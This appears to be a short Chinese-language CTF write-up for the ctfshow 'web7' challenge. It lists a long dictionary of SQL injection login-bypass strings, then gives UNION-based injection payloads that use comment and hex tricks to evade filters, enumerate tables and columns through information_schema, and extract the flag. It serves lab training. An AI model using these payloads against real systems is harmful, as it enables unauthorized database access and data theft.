CTF web之旅 27

ctfshow web7

和上题一样的套路 先跑一遍字典

"or "a"="a
'.).or.('.a.'='.a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or.'a.'='a
"or"="a'='a
'or''='
'or'='or'
1'or 1=1#
'='&password='='
1' or 1=1#
1'/**/or/**/1=1#
1'/*
*/'
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
'or'='or'
1
1'--
1' or 4=4--
1' or '1'='1'--
1888
"or "a"="a
1' or 2=2#
a' having 1=1#
a' having 1=1--
1' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
1' UNION Select 1,1,1 FROM 1 Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..1' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
1' OR 4=4/*
1'or'1'='1

 只是字典不能是admin 而是 1

判断位数

?id=1'/**/or/**/1=1/**/order/**/by/**/3#

爆出显示位

?id=1'/**/union/**/select/**/1,2,3/**/#

爆表

?id=1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/#

爆列  对单引号有过滤 用16进制代替

?id=1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167#

爆字段

?id=1'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#

得到flag